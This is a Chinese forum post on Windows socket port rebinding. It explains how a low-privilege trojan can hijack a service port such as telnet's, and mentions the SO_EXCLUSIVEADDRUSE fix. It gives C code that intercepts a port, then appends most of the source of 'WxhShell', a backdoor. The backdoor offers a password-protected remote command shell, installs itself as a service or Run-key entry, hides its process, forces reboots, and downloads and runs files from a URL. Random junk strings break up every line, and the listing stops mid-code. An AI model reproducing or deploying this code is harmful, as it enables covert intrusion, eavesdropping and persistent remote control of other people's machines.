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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {P[>B}'rW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~E J+<[/  
Z&w/JP?  
  saddr.sin_family = AF_INET; %D9,Femt  
-<MA\iSP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qzbpLV|  
R_ |Sg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EJ&aT etQ  
Rx\.x? &  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kafRuO~$  
k.MAX8  
  这意味着什么?意味着可以进行如下的攻击: y8k*{1MuO  
{ t1|6R0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wEu"X  
|y T-N3H@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) njoU0f1`  
ja1WI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 czH`a=mjH  
CR KuN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G,]%dZH e  
W:z?w2{VI(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *RpBKm&^7  
gs?=yNL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^qgOgu  
1+0DTqWz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SmR"gu  
]z{f)`;I  
  #include N=hhuKt]  
  #include 'tRaF  
  #include %8N=4vTJ  
  #include    h_{//W[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D6M ktE)'  
  int main() _h2s(u >\  
  { ]EhU8bZ  
  WORD wVersionRequested; p=-:Z?EW1  
  DWORD ret; H|]~(.w 1}  
  WSADATA wsaData; "h>B`S  
  BOOL val; ,cg%t9  
  SOCKADDR_IN saddr; IW1+^F9NEw  
  SOCKADDR_IN scaddr; WOgPhJ  
  int err; Ry+Ax4#+(y  
  SOCKET s; [p7cgHSMt  
  SOCKET sc; Xgs 31#K  
  int caddsize; 8T2iqqG/1  
  HANDLE mt; :^Ouv1!e1  
  DWORD tid;   EP ;TfWc}1  
  wVersionRequested = MAKEWORD( 2, 2 ); X=Th  
  err = WSAStartup( wVersionRequested, &wsaData ); k'hJ@ 6eKS  
  if ( err != 0 ) { 4z$}e-  
  printf("error!WSAStartup failed!\n"); O_n) 2t(c?  
  return -1; /%'>?8/  
  } w&F/P]1  
  saddr.sin_family = AF_INET; 6)QJms  
   5NT?A,r"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R>05MhA+  
#clPao?r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UTEUVcJ\  
  saddr.sin_port = htons(23); w][1C\8m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^X6fgsjz  
  { /znW$yh o  
  printf("error!socket failed!\n"); >EFjyhVE  
  return -1; JM5 w`=  
  } h1.]Nl C  
  val = TRUE; D?w?0b Eu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~;nh|v/e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n}(/>?/  
  { cl kL)7RQ  
  printf("error!setsockopt failed!\n"); T9.3  
  return -1; -J8&!S8X  
  } zi l^^wT0J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o.IJ4'}aN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BH"f\oc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {2Jo|z  
7}>7@W8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4lMf'V7*l  
  { w.w(*5[  
  ret=GetLastError(); ^]}+ s(  
  printf("error!bind failed!\n"); JGl0 (i*|  
  return -1; c:(Xk zj  
  } : p# 5nYi  
  listen(s,2); KITC,@xE_O  
  while(1) 8D3|}z?  
  { A)"?GK{*  
  caddsize = sizeof(scaddr); C;]}Ht:~I  
  //接受连接请求 [?z`XY_-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *9J >3   
  if(sc!=INVALID_SOCKET) F(+,M~  
  { E Dh$UB)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bzYj`t?  
  if(mt==NULL) SB"Uu2)wZ  
  { LsB|}_j7  
  printf("Thread Creat Failed!\n"); ]\DZW4?'  
  break; e$'|EE.=q+  
  } !R@v\Eu  
  } h`Ld%iN\  
  CloseHandle(mt); >1luLp/,$  
  } B?A]0S  
  closesocket(s); ')eg6IC0&T  
  WSACleanup(); NVyel*QE  
  return 0; KV&4Ep#  
  }   ~4-:;8a  
  DWORD WINAPI ClientThread(LPVOID lpParam) rjk{9u1a"  
  { ~)ut"4  
  SOCKET ss = (SOCKET)lpParam; FYe#x]ue  
  SOCKET sc; \PU7,*2  
  unsigned char buf[4096]; )>-94xx|  
  SOCKADDR_IN saddr; +UvT;"  
  long num; Zw@=WW[Q`p  
  DWORD val; s>pM+PoGYd  
  DWORD ret; 3 UXaA;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MKiP3kt8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r@WfZ  Z  
  saddr.sin_family = AF_INET; ^&[Z@*A8#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wlC7;u  
  saddr.sin_port = htons(23); ~;)H |R5kV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J_-K"T|f  
  { QYB66g:  
  printf("error!socket failed!\n"); o57r ,`N  
  return -1; @O]v.<8  
  } ,M?K3lG\g[  
  val = 100; A!GQ4.~%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6j 2mr6o  
  { b+/z,c6w  
  ret = GetLastError(); I9VU,8~  
  return -1; b=$(`y  
  } 2=]Xe#5J=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ns2<wl-  
  { /^M|$JRI  
  ret = GetLastError(); UI]UxEJ  
  return -1; ]=Tle&yM+T  
  } c9/&A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %mFZ!(  
  { k]"DsN$  
  printf("error!socket connect failed!\n"); S4O'N x  
  closesocket(sc); +{b3A@f|F  
  closesocket(ss); 4Pv Pp{Y  
  return -1; +3d.JQoKl  
  } A6S|pO1)3  
  while(1) @h E7F}  
  { N+nv#]{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U32&"&";c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ; 8B )J<y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^| r6>b  
  num = recv(ss,buf,4096,0); 'UFPQ  
  if(num>0) 38zG[c|X  
  send(sc,buf,num,0); aGs\zCAP  
  else if(num==0)  k:i}xKu  
  break; Cj5=UUnO  
  num = recv(sc,buf,4096,0); ,t|qhJF  
  if(num>0) X%R)  
  send(ss,buf,num,0); D:=Q)Uh0I  
  else if(num==0) cNG`-+U'  
  break; a"!r]=r  
  } a+ s%9l  
  closesocket(ss); Q7pjF`wu  
  closesocket(sc); Jl-:@[;  
  return 0 ; W0\ n?$ZC~  
  } ?XnKKw\  
-`ss7j&b3  
PNRZUZ4Z|  
========================================================== rtT*2k*  
xF8 8'p'  
下边附上一个代码,,WXhSHELL DgGG*OXY  
zw}Wm4OH  
========================================================== 1JY3c M  
f19'IH$n{  
#include "stdafx.h" i _YJq;(  
DpvMY94Qh  
#include <stdio.h> Z3N^)j8  
#include <string.h> C7_nA:Rc  
#include <windows.h> u69fYoB'  
#include <winsock2.h> [w?v !8l  
#include <winsvc.h> 0/fA>%&  
#include <urlmon.h> IaYaIEL-  
w3 K>IDWI7  
#pragma comment (lib, "Ws2_32.lib") `FRdo  
#pragma comment (lib, "urlmon.lib") W3]?>sLE*  
O=\`q6l  
#define MAX_USER   100 // 最大客户端连接数 VY j pl  
#define BUF_SOCK   200 // sock buffer p&W{g $D>  
#define KEY_BUFF   255 // 输入 buffer ,`U'q|b  
f;]C8/W  
#define REBOOT     0   // 重启 }q=uI`  
#define SHUTDOWN   1   // 关机 x2Dg92  
wG",Obja  
#define DEF_PORT   5000 // 监听端口 p.x!dt\1kC  
ITf4PxF  
#define REG_LEN     16   // 注册表键长度 O%m>4OdH  
#define SVC_LEN     80   // NT服务名长度 df7 xpV  
Y%#r&de  
// 从dll定义API fB`7f $[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mM\jU5P:^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Z { 7*jtE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aSQvtv)91  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YV)h"u+@0  
/<)kI(gf  
// wxhshell配置信息 D:fLQ8a  
struct WSCFG { ?~WDl j3  
  int ws_port;         // 监听端口 <gjA(xT5  
  char ws_passstr[REG_LEN]; // 口令 2M*84oh8P  
  int ws_autoins;       // 安装标记, 1=yes 0=no uM@ve(8\  
  char ws_regname[REG_LEN]; // 注册表键名 mE"},ksg  
  char ws_svcname[REG_LEN]; // 服务名 BiD}C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0` UrB:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TmUN@h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }D*5PV%d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  :qrCqFl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MznMt2-u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zi= gOm  
>;Vy{bL8  
}; :{M1]0 NH  
%C~LKs5oH  
// default Wxhshell configuration T56%3i  
struct WSCFG wscfg={DEF_PORT, ibv.M=  
    "xuhuanlingzhe", O%p+P<J  
    1, < SvjvV  
    "Wxhshell", ;*q  
    "Wxhshell", $pfN0/`(  
            "WxhShell Service", @Xl/<S&  
    "Wrsky Windows CmdShell Service", mFW/xZwR,5  
    "Please Input Your Password: ", Z Ne(sg~G  
  1, >SaT?k1E  
  "http://www.wrsky.com/wxhshell.exe", q !Nb-O{  
  "Wxhshell.exe" 2t 1u{  
    }; ]2@g 5H}M  
[ @`Ki  
// 消息定义模块 ZFa<{J<2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Kx6|83  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wH0Ks5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oz#;7 ?9  
char *msg_ws_ext="\n\rExit."; UY`U[#  
char *msg_ws_end="\n\rQuit."; T;Zv^:]0  
char *msg_ws_boot="\n\rReboot..."; :Mzkm^7B  
char *msg_ws_poff="\n\rShutdown..."; ^>tqg^  
char *msg_ws_down="\n\rSave to "; bZd)4  
;.#l[  
char *msg_ws_err="\n\rErr!"; `cn}}1Lg]  
char *msg_ws_ok="\n\rOK!"; m5KAKpCR,  
#Oq~ZV|<l  
char ExeFile[MAX_PATH]; Q|i`s=|  
int nUser = 0; X2S:"0?7  
HANDLE handles[MAX_USER]; 7B8.;0X$W  
int OsIsNt; eO?@K$I  
C .{`-RO  
SERVICE_STATUS       serviceStatus; p!RyxB1.|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qTi%].F"G  
Dvz}sQZ  
// 函数声明 P DtLJt$  
int Install(void); \*.u (8~2o  
int Uninstall(void); Ld$e  -dB  
int DownloadFile(char *sURL, SOCKET wsh); -wUw)gJbM  
int Boot(int flag); L"ob ))GF  
void HideProc(void); j/*4Wj[  
int GetOsVer(void); J6W"t  
int Wxhshell(SOCKET wsl); 3tAX4DnYrq  
void TalkWithClient(void *cs); a?5R ;I B  
int CmdShell(SOCKET sock); (Aw!K`0Y1  
int StartFromService(void); d>r_a9 .u  
int StartWxhshell(LPSTR lpCmdLine); 5Ff1x-lQ  
F` "bMS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N9jSiRJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pG0Ca](  
, \ 6*fXc  
// 数据结构和表定义 M@?,nzs K  
SERVICE_TABLE_ENTRY DispatchTable[] = o u*`~K|R  
{ HA W57N  
{wscfg.ws_svcname, NTServiceMain}, ;"j>k>tg  
{NULL, NULL} Bgy?k K2[  
}; pJ ;4rrSK  
.L'eVLQe  
// 自我安装 fx `oe  
int Install(void) \qB:z7I2  
{ wrmbOT  
  char svExeFile[MAX_PATH]; ^DWhIxBh  
  HKEY key; T3#KuiwU9  
  strcpy(svExeFile,ExeFile); "E/UNE6P4  
@ - _lw  
// 如果是win9x系统,修改注册表设为自启动 8 DE%ot  
if(!OsIsNt) { .X)TRD#MW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !w #x@6yq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Lhfb\2?  
  RegCloseKey(key); "- XJZ;5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0b~{l;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jUg.Y98  
  RegCloseKey(key); 4kqgZtg.  
  return 0; #k*P/I~  
    } )Fw{|7@N  
  } # mK?K  
} iD-,C`  
else { 1e(Q I) ~  
$Z!7@_Ys  
// 如果是NT以上系统,安装为系统服务 ghu8Eg,Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )|SmB YV  
if (schSCManager!=0) uBXl ltU  
{ ;\[ el<Y)s  
  SC_HANDLE schService = CreateService f~{@(g&Gl  
  ( }'.k  
  schSCManager, B^C!UWN>%X  
  wscfg.ws_svcname, %@9pn1,  
  wscfg.ws_svcdisp, ?}D|]i34  
  SERVICE_ALL_ACCESS, Q $5U5hb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B[Gl}(E  
  SERVICE_AUTO_START, !W3bHy:C"  
  SERVICE_ERROR_NORMAL, 3+` <2TP  
  svExeFile, E"{2R>mU~  
  NULL, JDA:)[;  
  NULL, Yo$NE  
  NULL, FPB O=?H.  
  NULL, ~=xS\@UY =  
  NULL )QO"1#zg@c  
  ); v2tKk^6`(i  
  if (schService!=0) k@i+gV%  
  { Ous_269cM  
  CloseServiceHandle(schService); Q\ AM] U  
  CloseServiceHandle(schSCManager); E)h&<{%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sMhUVc4  
  strcat(svExeFile,wscfg.ws_svcname); l0%qj(4`6&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ; Fi(zl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A^9RGz4=  
  RegCloseKey(key); yS)73s/MrY  
  return 0; M],}.l  
    } 1aQR9zg%  
  } OE4hG xG  
  CloseServiceHandle(schSCManager); 1dgy-$H~  
} (4WAoye|  
} G?t<4MT v  
snW=9b)m  
return 1; (6*CORE   
} e t$VR:  
uN)o|7  
// 自我卸载 !N@d51T=N  
int Uninstall(void) {d%% nK~  
{ ? !dy  
  HKEY key; [A.ix}3mm  
3wQUNv0z  
if(!OsIsNt) { 5/ee&sJR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gq^j-!Q)Q<  
  RegDeleteValue(key,wscfg.ws_regname); %FDv6peH  
  RegCloseKey(key); kX2bU$1Q,i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { el;eyGa  
  RegDeleteValue(key,wscfg.ws_regname); ky^p\dMh  
  RegCloseKey(key); b,8\i|*!f  
  return 0; v|&Nh?r  
  } vl "l  
} b85r=tm   
} 5a PPq~%  
else { %ZajM  
xxsax/h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "\x<Zg;  
if (schSCManager!=0) 4NY}=e5  
{ d3nMeAI AO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l. 9 i `  
  if (schService!=0) o<Esh;;*nm  
  { M_+"RKp  
  if(DeleteService(schService)!=0) { ;!ICLkc$  
  CloseServiceHandle(schService); xE2sb*  
  CloseServiceHandle(schSCManager); R0l5"l*@+  
  return 0; $E j;CN59  
  } 0I`)<o-  
  CloseServiceHandle(schService); 8$+mST'4N  
  } *u i!|;  
  CloseServiceHandle(schSCManager); Zt;dPYq>  
} zXop@"(e  
} .;1tu+S  
Q=,6W:j  
return 1; )tq&l>0h  
} x?aNK$A~X  
i; qb\  
// 从指定url下载文件 2~*J<iO&l  
int DownloadFile(char *sURL, SOCKET wsh) &^v5 x"  
{ <? Z[X{  
  HRESULT hr; ]~Su  
char seps[]= "/"; bc?\lD$ $  
char *token; ]f3[I3;K  
char *file; l8XgzaW  
char myURL[MAX_PATH]; ji|+E`Nii  
char myFILE[MAX_PATH]; ,m`>  
a'[Ah2}3r<  
strcpy(myURL,sURL); B#|c$s{  
  token=strtok(myURL,seps); z f rEM  
  while(token!=NULL) o#D;H[' A  
  { _+OnH!G0  
    file=token; z!M8lpI M  
  token=strtok(NULL,seps); %OIJ.  
  } am'11a@*  
L<}0}y  
GetCurrentDirectory(MAX_PATH,myFILE); H n^)Xw  
strcat(myFILE, "\\"); XtJIaD|:3  
strcat(myFILE, file); &}:]uC  
  send(wsh,myFILE,strlen(myFILE),0); wjVmK  
send(wsh,"...",3,0); !nBE[&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V1P]mUs{1  
  if(hr==S_OK) K+s@.D9J  
return 0; B2R^oL' }  
else a_GnN\kX^Z  
return 1; >8* 0"Q  
R7nT,7k.  
} YQH=]5r  
K&\ q6bU  
// 系统电源模块 |[ )e5Xhd  
int Boot(int flag) yx@%x?B  
{ T"b'T>Y  
  HANDLE hToken; \[>Ob  
  TOKEN_PRIVILEGES tkp; @MoBR.  
j_ \?ampF  
  if(OsIsNt) { Mur)'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d :a*;F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `<"@&N^d  
    tkp.PrivilegeCount = 1; PXx:JZsju  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e*!0|#-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H5)8TR3La  
if(flag==REBOOT) { 6]^~yby P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i>aIuQ`pe  
  return 0; w~%Rxdh?8W  
} b3M`vJ+{  
else { !j8 DCVb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pl\r|gS;  
  return 0; Aw) I:d7F  
} f =MP1q[  
  } Zn{Y+ce7d  
  else { N87)rhXSo,  
if(flag==REBOOT) { ;xQNa}"V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Klj -dz  
  return 0; {y%cTuC=  
} .dO8I/lhV  
else { 8:sQB% BB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ef]<0Tm]:  
  return 0; Rh,a4n?W  
} t8ZzBD!dP  
} xh:A*ZI=7  
!Pc&Sg  
return 1; /_[?i"GW  
} pdySip<  
V]5MIiNl  
// win9x进程隐藏模块 R KXhD PA  
void HideProc(void) :%4N4| Q  
{ ?P%-p  
'',g}WvRwe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^5n#hSqZ=M  
  if ( hKernel != NULL ) ]RxJ^'a63  
  { .2{*>Dzi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cw/E?0MWb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @:Emmzucv|  
    FreeLibrary(hKernel); L-DL)8;`  
  } j@s*hZ^J+  
[:gp_Z&  
return; .(%]RSBY  
} I|<`Er-;58  
u\q(v D.  
// 获取操作系统版本 2(2UAB"u  
int GetOsVer(void) HJ_8 `( '  
{ L]* 5cH  
  OSVERSIONINFO winfo; adWH';Q:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yq>K1E|  
  GetVersionEx(&winfo); Gzc`5n{"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *| as-!${k  
  return 1; `O]$FpO  
  else jx#9  
  return 0; fb[? sc  
} :?j]W2+kR  
K]&i9`>N   
// 客户端句柄模块 {8"Uxj_6V  
int Wxhshell(SOCKET wsl) .#}A/V.-Y  
{ @ :}la  
  SOCKET wsh; B:VGa<lx5  
  struct sockaddr_in client; Zg9VkL6Z6  
  DWORD myID; ^fj30gw7\5  
>mj WC) U  
  while(nUser<MAX_USER) i1 c[Gk.o  
{ &ZL4/e  
  int nSize=sizeof(client); @D$ogU,#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (QS 0  
  if(wsh==INVALID_SOCKET) return 1; x~ID[  
|$C fm}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oDWNOw  
if(handles[nUser]==0) 2O}X-/H  
  closesocket(wsh); (6i4N2  
else m^ /s}WEqp  
  nUser++; LRR)T: e}q  
  } LbuhKL}VN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LK<ZF=z]Z  
C@g/{?\  
  return 0; R[l~E![!j  
} T^ - -:1  
X o[GD`t  
// 关闭 socket P?@o?  
void CloseIt(SOCKET wsh) nG$+9}\UlP  
{ _zkTx7H  
closesocket(wsh); Q$Rp?o&  
nUser--; U#%+FLX@w  
ExitThread(0); F_&H*kL L3  
} Z`#XB2,  
8gG;A8  
// 客户端请求句柄 !DD4Bqez  
void TalkWithClient(void *cs) bAld'z#  
{ bc;?O`I<  
cUO$IR)yL  
  SOCKET wsh=(SOCKET)cs; ^\r{72!y  
  char pwd[SVC_LEN]; !b$]D?=}  
  char cmd[KEY_BUFF]; eh8lPTKil  
char chr[1]; l5D4 ?`|  
int i,j; ^O}J',Fm%f  
a`zHx3Yg  
  while (nUser < MAX_USER) { j=c< Lo`  
xIH= gK  
if(wscfg.ws_passstr) { Qjd]BX;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^>^h|$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h gu\~}kD  
  //ZeroMemory(pwd,KEY_BUFF); ]]y4$ [|L  
      i=0; ~%h&ELSw  
  while(i<SVC_LEN) { ZG? e%  
oi8M6l  
  // 设置超时 u>:j$@56  
  fd_set FdRead; Kw2]J)TO  
  struct timeval TimeOut; t>x!CNb'C  
  FD_ZERO(&FdRead); ,!X:wY}dW  
  FD_SET(wsh,&FdRead); bP,Ka  
  TimeOut.tv_sec=8; [Fv_~F491  
  TimeOut.tv_usec=0; Asy2jw\V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k5 *Z@a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V{ ~~8b1E  
H%Z;Yt8^gt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %cJdVDW`L  
  pwd=chr[0]; k=G c#SD5_  
  if(chr[0]==0xd || chr[0]==0xa) { *1T~ruNqa  
  pwd=0; 0#ON}l)>  
  break; N`qGwNT%G  
  } $`R=Q  
  i++; L0w2qF  
    } Sy<io@df  
zy.v[Y1!  
  // 如果是非法用户,关闭 socket P@x@5uC2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rDu?XJA  
} Y![8-L|Q  
SR`A]EC(V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :XTxrYt28  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +UX} "m~W  
ylDfr){  
while(1) { wUfPnAD.'  
Ns#L9T#  
  ZeroMemory(cmd,KEY_BUFF); :9(w~bB9$  
R/ x-$VJ  
      // 自动支持客户端 telnet标准   db}lN  
  j=0; j 20m Z  
  while(j<KEY_BUFF) { "{d[V(lE"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &)|f|\yh"  
  cmd[j]=chr[0]; JeAyT48!M  
  if(chr[0]==0xa || chr[0]==0xd) { :c`djM^ll  
  cmd[j]=0; l E* .9T  
  break; ]BTISaL-R  
  } ;=@?( n  
  j++; =#wE*6T9  
    } :5jor Vu  
xsrdHP1  
  // 下载文件 o=F!&]+  
  if(strstr(cmd,"http://")) { W 9bpKmc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `8TL*.9  
  if(DownloadFile(cmd,wsh)) a)6?:nY$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RER93:(  
  else @[n%q.|VB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f9'dZ}B  
  } v[a4d&P  
  else { 2%MS$Fto  
n:Dr< q .  
    switch(cmd[0]) { /)rv Ndn  
  pvRa  
  // 帮助 "\M3||.!  
  case '?': { 1J&hm[3[K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L_!}R  
    break; h9~oS/%:  
  } cO-^#di  
  // 安装 +Lo,*  
  case 'i': { <u  
    if(Install()) :;Npk9P(N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KnK\X>:  
    else ,{Z!T5 |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7qdB   
    break; p#gf^Y5  
    } Owh:(EJ"d  
  // 卸载 AO8%!+"_  
  case 'r': { V<d`.9*}  
    if(Uninstall()) VxU{ZD~<Z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s]xn&rd_  
    else '/X m%S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <_4'So>  
    break; w}x&wWM  
    } cn'r BY  
  // 显示 wxhshell 所在路径 -?ebkHe  
  case 'p': { zZ8:>2Ps(  
    char svExeFile[MAX_PATH]; T`Xz*\}Zb  
    strcpy(svExeFile,"\n\r"); a3:1`c/~\  
      strcat(svExeFile,ExeFile); quFNPdP  
        send(wsh,svExeFile,strlen(svExeFile),0); Q*/jQC  
    break; }/7rA)_  
    } ~e+pa|lO  
  // 重启 Wix4se1Ac  
  case 'b': { Sqla+L*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @%6"xnb `  
    if(Boot(REBOOT)) <ol? 9tm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >< Qp%yT  
    else { Lx3`.F\mG  
    closesocket(wsh); =AeOkie  
    ExitThread(0); j8ac8J,}c  
    } Bo/i =/7%  
